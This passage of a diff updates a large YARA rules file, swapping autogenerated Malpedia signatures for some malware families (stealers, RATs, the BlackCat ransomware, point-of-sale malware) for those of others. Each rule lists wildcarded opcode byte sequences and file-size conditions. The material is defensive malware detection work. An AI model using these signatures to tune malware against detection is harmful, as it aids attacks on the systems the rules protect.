e8???????? 8d45b8 c745fc10000000 50 8d45e4 b9???????? 50 } + $sequence_0 = { 51 8bcf e8???????? 8d9424d4020000 6a04 52 8bcf } + $sequence_1 = { 83c10c 48 894c2434 89442418 75bd 8b742444 8b06 } + $sequence_2 = { c1fa05 8bc2 c1e81f 03d0 895508 8d4d08 6a04 } + $sequence_3 = { 33d2 eb16 8b4e08 2bc8 b815024d21 f7e9 c1fa06 } + $sequence_4 = { fec8 5f 8841ff 8bc5 5e 5d 5b } + $sequence_5 = { b90b000000 8bf0 8bfa 83c02c f3a5 8b4c2420 83c22c } + $sequence_6 = { 23ee 8b742428 23f7 8bd9 0bee 8b74241c c1c305 } + $sequence_7 = { 8db5f4000000 8d9d14010000 c744241800000000 e8???????? 8b442410 85c0 0f8c08010000 } + $sequence_8 = { 83c410 48 894720 53 ff15???????? 5f 5e } + $sequence_9 = { 03ee 8b742410 c1c71e 8db42ea1ebd96e 8b6930 33691c 33df } condition: - 7 of them and filesize < 1163264 + 7 of them and filesize < 245760 } -rule MALPEDIA_Win_Voldemort_Auto : FILE +rule MALPEDIA_Win_Cosmicduke_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "7d125483-3b6e-5a9c-99c0-128adae803f8" + id = "3cb396e5-37a7-5104-9052-2cb8d08028c4" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.voldemort" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.voldemort_auto.yar#L1-L121" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cosmicduke" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cosmicduke_auto.yar#L1-L132" license_url = "N/A" - logic_hash = "6016b2bc3970bf978eb2d9654ea41d202d59cf54c1ab79dd97509026eb74172c" + logic_hash = "c91b7a120fba1263ab464236cd77e48a69e2be7cc7ffc669f627390a309044cd" score = 75 quality = 75 tags = "FILE" @@ -118748,34 +118782,34 @@ rule MALPEDIA_Win_Voldemort_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 4803c1 48894308 e9???????? 48895c2408 } - $sequence_1 = { 48894308 e9???????? 48895c2408 57 } - $sequence_2 = { 418ac0 c3 488bc4 48895808 48896810 48897018 48897820 } - $sequence_3 = { 0f45c7 4803c1 48894308 e9???????? 48895c2408 57 4883ec20 } - $sequence_4 = { 488b5c2408 418ac0 c3 488bc4 } - $sequence_5 = { 7597 41b001 488b5c2408 418ac0 c3 488bc4 } - $sequence_6 = { 488b5c2408 418ac0 c3 488bc4 48895808 48896810 48897018 } - $sequence_7 = { 8d78fe 0f45c7 4803c1 48894308 e9???????? 48895c2408 } - $sequence_8 = { 488b5c2408 418ac0 c3 488bc4 48895808 48896810 } - $sequence_9 = { 5f c3 4c8bdc 49895b18 57 4883ec40 } + $sequence_0 = { 895df4 53 33f6 885dfb ff15???????? 85c0 0f8591000000 } + $sequence_1 = { eb0e 68???????? 8d85c0f9ffff 50 ffd3 68???????? 8d85d0fdffff } + $sequence_2 = { 68???????? 8d85f4fdffff 50 ff15???????? 8d85ecfbffff 50 } + $sequence_3 = { 7443 68???????? 8d842448020000 50 ffd6 85c0 7438 } + $sequence_4 = { 68???????? 6a01 6a01 68???????? e8???????? ba01000080 8bc8 } + $sequence_5 = { 668b044510984200 8b4dfc 6689044e 33c0 ff4d0c 75d2 8b4dfc } + $sequence_6 = { e8???????? 8b442450 8944240c 8d44240c 50 8bfe 8d442450 } + $sequence_7 = { 68???????? 50 6801000080 e8???????? e8???????? 3d09030000 7515 } + $sequence_8 = { ff15???????? 83c410 6a00 ff742434 68???????? e8???????? c644245c00 } + $sequence_9 = { 8d442424 50 8b442424 68???????? 57 895c2448 } condition: - 7 of them and filesize < 577536 + 7 of them and filesize < 456704 } -rule MALPEDIA_Win_Meltingclaw_Auto : FILE +rule MALPEDIA_Elf_Blackcat_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "4c934307-6162-5bd3-9838-14fb4893e749" + id = "73330468-751f-50b4-b552-0b9e2c8419d0" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.meltingclaw" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.meltingclaw_auto.yar#L1-L119" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/elf.blackcat" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/elf.blackcat_auto.yar#L1-L119" license_url = "N/A" - logic_hash = "b6f3eb32e00edec50809c43ad1e4398bb12b63738a427d7db6e1e036df7e69e8" - score = 75 - quality = 75 + logic_hash = "ed5b892df40ee57ffa43026084cc0b81998de922d2939024f186c2c4f53be22e" + score = 60 + quality = 45 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -118787,32 +118821,32 @@ rule MALPEDIA_Win_Meltingclaw_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 0f8484000000 ffc1 4c63e1 498bcc e8???????? } - $sequence_1 = { 488d8da8000000 48ffc9 48ffc1 803900 } - $sequence_2 = { 33c9 ff15???????? 488d8d80000000 8bd8 e8???????? } - $sequence_3 = { 8bfa 488bd9 33d2 41b804010000 488d4c2470 e8???????? 660f6f05???????? } - $sequence_4 = { 488364243000 4533c9 44896c2428 4533c0 8364242000 } - $sequence_5 = { 880411 48ffc2 84c0 75f3 488d8da8000000 } - $sequence_6 = { 23c1 41c1ff0c 2bc2 448bf0 418d6f01 4883ffff } - $sequence_7 = { 80c121 418809 49ffc1 b90d000000 490fbe41ff 33d2 } - $sequence_8 = { 750e 48396928 7508 48396930 b001 7403 } - $sequence_9 = { 6bc83f 49c70700010000 80c121 418809 49ffc1 b90b000000 } + $sequence_0 = { 7227 b803000000 81fa???????? 721a } + $sequence_1 = { b903000000 81fa???????? 721a b904000000 81fa???????? 720d } + $sequence_2 = { 08d9 80f901 750e 84c0 } + $sequence_3 = { 83f801 0f95c0 20c8 0fb6e8 } + $sequence_4 = { 721a b904000000 81fa???????? 720d } + $sequence_5 = { e8???????? 0f0b 90 90 90 55 53 } + $sequence_6 = { e8???????? 0f0b 90 90 90 90 53 } + $sequence_7 = { 5d c3 e8???????? 0f0b 90 90 90 } + $sequence_8 = { 762a 0fb6c8 8d1489 8d0cd1 c1e90c 6bd164 } + $sequence_9 = { 7227 b803000000 81fa???????? 721a b804000000 81fa???????? } condition: - 7 of them and filesize < 348160 + 7 of them and filesize < 8011776 } -rule MALPEDIA_Win_Evilconwi_Auto : FILE +rule MALPEDIA_Win_Fast_Pos_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "7f652ca8-a434-5be9-ae21-4e0e49d2fcee" + id = "057c36f1-0a19-594b-99bb-5ac5d28c2830" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.evilconwi" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.evilconwi_auto.yar#L1-L125" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.fast_pos" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.fast_pos_auto.yar#L1-L123" license_url = "N/A" - logic_hash = "212869a6ab86c4f0f11665af7cc6fecf827786dd09d766a1df9e90f9f4dd950f" + logic_hash = "bb07ee6c2efdd43c16301c1c39c93cc562e35ab0089f1712602de2983cb204bb" score = 75 quality = 75 tags = "FILE" @@ -118826,32 +118860,32 @@ rule MALPEDIA_Win_Evilconwi_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 83c8ff eb07 8b04cd54e14000 5f 5e 5b } - $sequence_1 = { eb3d 8b0b 894dfc 8d048dac1b4100 8b30 90 } - $sequence_2 = { c700???????? 8b4508 898850030000 8b4508 59 c7404898134100 8b4508 } - $sequence_3 = { 56 57 8d1c85f01e4100 8b03 8b15???????? 83cfff } - $sequence_4 = { 72eb 6a00 ff75e4 ff15???????? ff75d0 } - $sequence_5 = { 50 6a00 6a0b ff75f8 ffd7 85c0 0f84a6000000 } - $sequence_6 = { 660f58e0 660fc5c400 25f0070000 660f28a060f74000 660f28b850f34000 } - $sequence_7 = { 8b45fc 03148d781f4100 8b00 894218 8a03 884228 } - $sequence_8 = { 50 8d45fc c745dc04000000 50 6a00 6a0b } - $sequence_9 = { 8b04bd781f4100 807c302900 7504 32c0 eb1a 8d45fc 50 } + $sequence_0 = { 56 8b7510 c745fc00000000 57 8bf9 85f6 792b } + $sequence_1 = { 50 68???????? 56 c7857cffffff01000000 e8???????? } + $sequence_2 = { ffb5e8feffff ff15???????? 85c0 7517 } + $sequence_3 = { 5d c20c00 81feffffff7f 7ecf eb33 8b49f0 } + $sequence_4 = { 8bec 8b4508 53 56 8bd9 8b30 } + $sequence_5 = { e8???????? 6a10 68???????? 68???????? 6a00 ff15???????? 6a00 } + $sequence_6 = { 6a64 8d4580 c745fc00000000 50 89b578ffffff c7857cffffff00000000 ff15???????? } + $sequence_7 = { 0f9485ebfeffff 83c2f0 83cfff 8bc7 8d4a0c f00fc101 48 } + $sequence_8 = { 56 c785e8feffff01000000 e8???????? 83c40c 8bc6 } + $sequence_9 = { e8???????? ff30 ff15???????? 8b95e4feffff 8bcf } condition: - 7 of them and filesize < 172032 + 7 of them and filesize < 327680 } -rule MALPEDIA_Win_Goopic_Auto : FILE +rule MALPEDIA_Win_Clambling_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "3dc4c257-a5c8-5a4d-ab14-c83ca28cb2ec" + id = "76c3ecc2-3249-54dd-85de-02fe8ad874ce" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.goopic" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.goopic_auto.yar#L1-L119" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.clambling" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.clambling_auto.yar#L1-L119" license_url = "N/A" - logic_hash = "44b46e1ba9017c5fbd258e5f68a3335c35049c2540cd88d9310017d21c5cf5d5" + logic_hash = "95ebecd5667958656960c5343bf195152cd54c7954e81daf96b602e90195edba" score = 75 quality = 75 tags = "FILE" @@ -118865,32 +118899,32 @@ rule MALPEDIA_Win_Goopic_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 89742414 ff15???????? 50 ff15???????? 85c0 7427 } - $sequence_1 = { 0f84c6000000 833d????????00 740d 8d85f0fdffff 50 } - $sequence_2 = { 85c0 7411 e8???????? ba01000000 } - $sequence_3 = { c785d0fdffff2c020000 ff15???????? 8bf0 8d85d0fdffff 50 56 89b5ccfdffff } - $sequence_4 = { 58 6bc000 c7803430400002000000 6a04 58 } - $sequence_5 = { 68???????? 6a01 6a00 68???????? ff15???????? 85c0 0f888e000000 } - $sequence_6 = { be00010000 33c0 66c787000100000000 8801 8d4901 40 663bc6 } - $sequence_7 = { ffd7 e8???????? e8???????? 8bd6 } - $sequence_8 = { b9???????? e8???????? 83c404 8d85f8dfffff } - $sequence_9 = { c785c0fdffff305d4000 eb0a c785c0fdffff245d4000 8d85b4fdffff c785c4fdffff3c5d4000 50 } + $sequence_0 = { 3bc6 746f 488d8424a8010000 448d4612 488d8c24a0010000 } + $sequence_1 = { 44896c2428 895c2420 e8???????? e9???????? ff15???????? 3bc6 } + $sequence_2 = { 440fb75c2440 66453bdd 7f0b 0fb7442442 66413bc7 } + $sequence_3 = { 7507 66893d???????? 488b0d???????? 488d542430 ff15???????? 448b442430 33d2 } + $sequence_4 = { 7412 48ffc3 4883c010 4881fb00040000 } + $sequence_5 = { ffd0 483bdf 7409 488bcb ff15???????? 33c0 488b5c2438 } + $sequence_6 = { 4c8d442470 8d5601 4889442420 ff15???????? } + $sequence_7 = { 488b542470 488b8c24a8010000 ff15???????? 8907 eb08 ff15???????? } + $sequence_8 = { 8bc3 eb02 33c0 4883c470 415d 5f } + $sequence_9 = { 893d???????? ff15???????? 3bc7 7507 66893d???????? } condition: - 7 of them and filesize < 114688 + 7 of them and filesize < 412672 } -rule MALPEDIA_Win_Unidentified_078_Auto : FILE +rule MALPEDIA_Win_Hi_Zor_Rat_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "be01d120-44f2-52e2-a1fa-8d3ce9aeac2c" + id = "cc3751c1-3c9f-5c03-98ac-f7ffbc0daf9f" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_078" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_078_auto.yar#L1-L118" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hi_zor_rat" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.hi_zor_rat_auto.yar#L1-L125" license_url = "N/A" - logic_hash = "e6046ec69321f4df1e212f93ebf4122d030058a32e3fabef5fe6e0f5f1575a85" + logic_hash = "71847819d2d9074c6684d2c1f561750135c21371e8d9757a34aa466c08b5e5fd" score = 75 quality = 75 tags = "FILE" @@ -118904,32 +118938,32 @@ rule MALPEDIA_Win_Unidentified_078_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 0f8412010000 0f8cee000000 80fa0d 0f8421010000 80fa1b 0f8576010000 } - $sequence_1 = { 0f8d94010000 80fa26 0f8f18010000 80fa23 0f8d82010000 } - $sequence_2 = { 80fa5c 0f94c1 80fa2f 0f94c2 08d1 } - $sequence_3 = { 3c18 0f8483000000 3c1c 740d 3c16 } - $sequence_4 = { e9???????? 80fa0c 0f8412010000 0f8cee000000 80fa0d } - $sequence_5 = { 89d6 0f883a020000 80fa21 0f8f8f000000 80fa20 0f8d28020000 } - $sequence_6 = { a910000108 753f a900004011 7521 a900000600 7467 } - $sequence_7 = { ff15???????? 85c0 740e e8???????? 31d2 89c1 e8???????? } - $sequence_8 = { b901010000 ff15???????? 85c0 740e } - $sequence_9 = { 0f8421010000 80fa1b 0f8576010000 ba02000000 e8???????? } + $sequence_0 = { 235014 0bda 8b501c 03df 8d9413aff7448b 8bde } + $sequence_1 = { 83c002 6685c9 75f5 8dbdc8f6ffff 2bc2 83c7fe 668b4f02 } + $sequence_2 = { c1e611 0bd6 03501c 8bfa f7d7 237810 23da } + $sequence_3 = { 33db 68fe0f0000 8d94248e080000 33c9 53 52 } + $sequence_4 = { 8bf8 52 57 ff15???????? 8b4d0c 8b5508 6a00 } + $sequence_5 = { 6a00 8bf0 8d45f0 50 56 6a00 } + $sequence_6 = { 25ffffff1f 03c0 6a40 03c0 c1ea1d } + $sequence_7 = { 50 89bb40010000 89bd58ffffff ff15???????? } + $sequence_8 = { 035858 8975fc 8b701c 8d9c335314c4ff 8b75f8 23f7 } + $sequence_9 = { 0fb6b6b4490010 ff24b594490010 52 53 8bf9 e8???????? 5f } condition: - 7 of them and filesize < 688128 + 7 of them and filesize < 73728 } -rule MALPEDIA_Win_Zeus_Openssl_Auto : FILE +rule MALPEDIA_Win_Wonknu_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "d31ed497-e4a7-5163-b5e5-7492582406ac" + id = "5d7ac694-4f51-5dc8-9ab7-ab21fb225c95" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.zeus_openssl" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.zeus_openssl_auto.yar#L1-L123" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.wonknu" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.wonknu_auto.yar#L1-L114" license_url = "N/A" - logic_hash = "16a4630d182e49d69e9e6276c110ddae0774c12808dbb665512c7a33855cd109" + logic_hash = "e2ca1c08f61486fefbae5d981f9ebfcfe0d01c7d31c8206cfd558443ffe8ed91" score = 75 quality = 75 tags = "FILE" @@ -118943,32 +118977,32 @@ rule MALPEDIA_Win_Zeus_Openssl_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8bf8 05fffeffff 4e 03c6 } - $sequence_1 = { 0181a8160000 837de000 7419 8b75e0 8b45f0 0fb7443002 8b75f8 } - $sequence_2 = { 2bc3 8bda 8b55c4 83c005 894304 8b45f0 2bd6 } - $sequence_3 = { 6a1c 8945f0 8845ff 8bfa 32c0 59 } - $sequence_4 = { 8bec 83ec10 53 56 57 8b3d???????? 33db } - $sequence_5 = { 83ec0c 56 57 8bf2 8bf9 e8???????? } - $sequence_6 = { 83c408 8b87bc160000 894df8 83f810 7530 8b4f14 } - $sequence_7 = { 743b 83ef50 7412 83ef75 742a } - $sequence_8 = { 89475c e8???????? 8b0f 33c0 394110 5f } - $sequence_9 = { 8b45fc 48 50 8d9694000000 8bce } + $sequence_0 = { 53 56 57 6804140000 } + $sequence_1 = { f3a5 8bcb e8???????? 803b00 } + $sequence_2 = { 8bfc b901050000 f3a5 8bcb e8???????? 803b00 } + $sequence_3 = { e8???????? 8bfc b901050000 f3a5 8bcb e8???????? } + $sequence_4 = { e8???????? 8bfc b901050000 f3a5 8bcb e8???????? 803b00 } + $sequence_5 = { c6840550ffffff00 8d8550ffffff 50 e8???????? } + $sequence_6 = { 8bfc b901050000 f3a5 8bcb e8???????? } + $sequence_7 = { 8d7e28 57 ff15???????? 8b4608 } + $sequence_8 = { b901050000 f3a5 8bcb e8???????? 803b00 } + $sequence_9 = { eb08 c6840550ffffff00 8d8550ffffff 50 e8???????? } condition: - 7 of them and filesize < 4546560 + 7 of them and filesize < 540672 } -rule MALPEDIA_Win_Luca_Stealer_Auto : FILE +rule MALPEDIA_Win_Thunderx_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "962fd693-32a3-53ad-92cd-b5debbabca20" + id = "2518ca7c-7e0a-565b-be3c-84d244188fab" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.luca_stealer" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.luca_stealer_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.thunderx" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.thunderx_auto.yar#L1-L128" license_url = "N/A" - logic_hash = "41100df83b0cacd06b9716ae5b8e2710b883cf9f1a3da041c06d57097240cc33" + logic_hash = "4292a9f6c1d3812002d780fdcc81ab5726cfcf5e40c47b2cebcf85c542667c9b" score = 75 quality = 75 tags = "FILE" @@ -118982,32 +119016,32 @@ rule MALPEDIA_Win_Luca_Stealer_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { eb0a f6471280 7504 6683e914 4d85f6 7416 6641395e10 } - $sequence_1 = { e8???????? 85c0 7428 85db 7524 488d0daee71600 e8???????? } - $sequence_2 = { e9???????? 4156 56 57 53 4883ec28 83791803 } - $sequence_3 = { e8???????? 4c8d4768 4889f1 ba03003000 e8???????? 4883c770 4889f1 } - $sequence_4 = { eb06 492130 412131 488b5c2430 8bc6 488b742438 488b7c2440 } - $sequence_5 = { 8d507e 448d4301 e8???????? 8b442458 448d4301 448bce 89442420 } - $sequence_6 = { e9???????? 48b8af39a3b04c5dea12 c3 56 4883ec20 4889ce 89f0 } - $sequence_7 = { ff15???????? 4438bfa8010000 740c 488b8fe8010000 e8???????? 488bcf e8???????? } - $sequence_8 = { e8???????? 488d8d60110000 e8???????? 488d8d501f0000 e8???????? 488d15683a2c00 488db560110000 } - $sequence_9 = { e9???????? 488d542468 48c70205000000 e9???????? 488d542468 48c70202000000 eb7d } + $sequence_0 = { 56 e8???????? 59 8d45b0 8bcf 50 e8???????? } + $sequence_1 = { 75f2 85c9 7509 3bc6 740b 83e802 ebd7 } + $sequence_2 = { 8bcb e8???????? 83c318 83c618 895de0 3bf7 75eb } + $sequence_3 = { 8b35???????? ffd6 ff75ec ffd6 b001 eb02 32c0 } + $sequence_4 = { 7462 8b44240c 3b05???????? 7556 8b442410 89442438 8b442414 } + $sequence_5 = { c3 6a54 b8???????? e8???????? 8bf9 897dac } + $sequence_6 = { 7415 ff15???????? 85c0 750b e8???????? 84c0 } + $sequence_7 = { 59 56 8bd0 885dfc 8d8d40feffff e8???????? 59 } + $sequence_8 = { e8???????? 8d8dc8fdffff e8???????? 8d8db0fdffff c645fc05 e8???????? } + $sequence_9 = { 8bfa 2b7d0c eb02 8bfe } condition: - 7 of them and filesize < 9285632 + 7 of them and filesize < 319488 } -rule MALPEDIA_Win_Downdelph_Auto : FILE +rule MALPEDIA_Win_Montysthree_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "4f6b1d19-3f1f-5f81-9e45-1d0b60961ede" + id = "87f022dd-6806-53c4-b097-b12b0a06ec92" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.downdelph" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.downdelph_auto.yar#L1-L120" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.montysthree" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.montysthree_auto.yar#L1-L127" license_url = "N/A" - logic_hash = "eae4c367be0b783aacccaf67139d8191ef5e286d3c53b64319eee5bb00fa728e" + logic_hash = "49338e71bc632a417705dbca9be5623cbd05fe63eacf0615bb9fcdc5a3ff20f5" score = 75 quality = 75 tags = "FILE" @@ -119021,32 +119055,32 @@ rule MALPEDIA_Win_Downdelph_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8b0d???????? ba???????? e8???????? 8b55d4 8d45d8 } - $sequence_1 = { 8d45f0 e8???????? 8d45e4 33c9 ba08000000 e8???????? 8b45f4 } - $sequence_2 = { 8d45f4 ba02000000 e8???????? 8d45fc 8b15???????? } - $sequence_3 = { 7c66 46 33db 8d45c0 } - $sequence_4 = { 8b14b0 8d45e0 b9???????? e8???????? 8b55e0 8d45e4 e8???????? } - $sequence_5 = { 8d45f8 e8???????? 8b55f8 8d45fc 8b4dfc e8???????? 8bc3 } - $sequence_6 = { 7409 8b12 50 e8???????? 58 83e808 e8???????? } - $sequence_7 = { 33c9 ba04010000 e8???????? 8d45f8 } - $sequence_8 = { 81ce00ffffff 46 0fb68c35bcfeffff 884df7 889435bcfeffff } - $sequence_9 = { 8d45e4 ba03000000 e8???????? 8b55e4 8d45fc } + $sequence_0 = { 3c09 7443 3c0d 743f 3c20 743b } + $sequence_1 = { 5f 85f6 5e 0f94c0 5b c9 } + $sequence_2 = { 8d4d08 e8???????? ff30 6a6d ebac 66395f04 7629 } + $sequence_3 = { c745f010000000 ff15???????? 85c0 8b35???????? 756e ffd6 3d16000980 } + $sequence_4 = { 83ec18 68???????? e8???????? 59 8d4de8 e8???????? } + $sequence_5 = { 68???????? e8???????? 33f6 8975fc 3935???????? 0f850a010000 56 } + $sequence_6 = { 397dc8 7427 837dc802 7421 68???????? } + $sequence_7 = { 56 57 ff7510 33ff ff750c 33f6 } + $sequence_8 = { 885d77 f6456c02 7408 8d4d3c e8???????? 385d77 } + $sequence_9 = { 8d4ddc 895dfc e8???????? 395d08 742c 53 8d45fc } condition: - 7 of them and filesize < 172032 + 7 of them and filesize < 458752 } -rule MALPEDIA_Win_Touchmove_Auto : FILE +rule MALPEDIA_Win_Tiger_Rat_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "522c2cac-142c-5982-9c6b-182b0f82e223" + id = "45a8f301-bb79-5b2b-bc44-a24cf96c6108" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.touchmove" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.touchmove_auto.yar#L1-L118" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tiger_rat" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.tiger_rat_auto.yar#L1-L165" license_url = "N/A" - logic_hash = "b909bee1078b375a3a52a6b366cfda1d518438076dcea1e60cd1ece67d92cd0d" + logic_hash = "86fb8964d90e4f85207407bd6a1343f7cd65992f2c3c62186f5ccbef201af0b2" score = 75 quality = 75 tags = "FILE" @@ -119060,32 +119094,38 @@ rule MALPEDIA_Win_Touchmove_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 488d9520030000 488bcb 488905???????? ff15???????? } - $sequence_1 = { c7853417000073686f74 c6853817000000 e8???????? 488d8d30290000 } - $sequence_2 = { c785883b0000ef911211 c7858c3b0000ff7559a3 c785903b0000e16ea064 c785943b0000b8788977 c785983b0000a0379158 } - $sequence_3 = { 894720 488d05fdfdffff 48894728 488d0502feffff 48894730 488d0507feffff } - $sequence_4 = { 4c8d05d4acffff 89542420 83fa05 7d15 4863ca } - $sequence_5 = { 7577 c744246000010000 488d442460 4889442428 488d8580440000 4889442420 } - $sequence_6 = { c785200a00006b65726e c785240a0000656c3332 c785280a00002e646c6c c6852c0a000000 e8???????? } - $sequence_7 = { 488bdf 4889742430 4d8d570c 4c89642428 488d2d1f660100 492bdf 0f1f4000 } - $sequence_8 = { 83e001 894720 488d05fdfdffff 48894728 488d0502feffff } - $sequence_9 = { 66c785904000006572 c6859240000000 33d2 41b8ed000000 488d8d93400000 e8???????? 660f6f2d???????? } + $sequence_0 = { 4883fbff 7425 48c74108ffffffff ba02000000 488bcb } + $sequence_1 = { 4883f8ff 740c 83caff 488bc8 ff15???????? 33c0 } + $sequence_2 = { 41b831000000 48895c2420 e8???????? 488bcb } + $sequence_3 = { 33d2 41b800020000 e8???????? c7832804000020000000 89bb30040000 48c7834c04000000000000 } + $sequence_4 = { 0fb745ae 663b0d???????? 750d 663b05???????? } + $sequence_5 = { 381a 7505 448bc3 eb11 4983c8ff 0f1f4000 } + $sequence_6 = { 2bef 488bcb 4c63c5 e8???????? 442be7 488bce } + $sequence_7 = { 49c1eb04 c0e104 0ac1 410fb6cf 0845d6 } + $sequence_8 = { 415f 5e c3 8b5650 33c9 41b800100000 } + $sequence_9 = { 4898 483de4000000 730f 488d0d1d840000 4803c0 8b04c1 eb02 } + $sequence_10 = { 8b4e28 4803cf e8???????? 488bbc24c0000000 } + $sequence_11 = { f30f7f4507 0b0d???????? 41b8d0070000 c745f74008027b } + $sequence_12 = { 488bdf 48c1fb05 4c8d353a1c0100 83e01f 486bf058 } + $sequence_13 = { 488d1578bd0000 488bcb 488905???????? ff15???????? 488bc8 ff15???????? 488d1570bd0000 } + $sequence_14 = { 0fb64c05b7 48ffc0 42324c05a7 4883f80f } + $sequence_15 = { 4c8d2d166e0100 413bff 7d77 488b0e } condition: - 7 of them and filesize < 224256 + 7 of them and filesize < 557056 } -rule MALPEDIA_Win_Purplewave_Auto : FILE +rule MALPEDIA_Win_Glasses_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "f9a895ad-7289-518b-be54-7444bb9c0feb" + id = "e3f60807-9e3f-553f-aab3-2b9d174a2d1f" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.purplewave" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.purplewave_auto.yar#L1-L132" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.glasses" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.glasses_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "2b8c8451c42e657113c26199005fb6974947a93818322a1c2e41a19d47cbd34a" + logic_hash = "f8dc4024fd9ceffd71dbd3d9fead59d2a70f550a13ec78ce30cdcf445ee6a1a3" score = 75 quality = 75 tags = "FILE" @@ -119099,32 +119139,32 @@ rule MALPEDIA_Win_Purplewave_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8bc1 c1f806 83e13f 6bc938 8b0485201e4900 80640828fe ff36 } - $sequence_1 = { 395914 7202 8b09 85f6 7410 8bd1 66833a3a } - $sequence_2 = { 59 8945c0 894dc4 8845b0 8945d8 894ddc } - $sequence_3 = { 8bec 8b5508 56 0fb67203 0fb64202 0fb64a01 c1e608 } - $sequence_4 = { 8d8d14ffffff e8???????? 68???????? 8d8d14ffffff c645fc20 e8???????? 50 } - $sequence_5 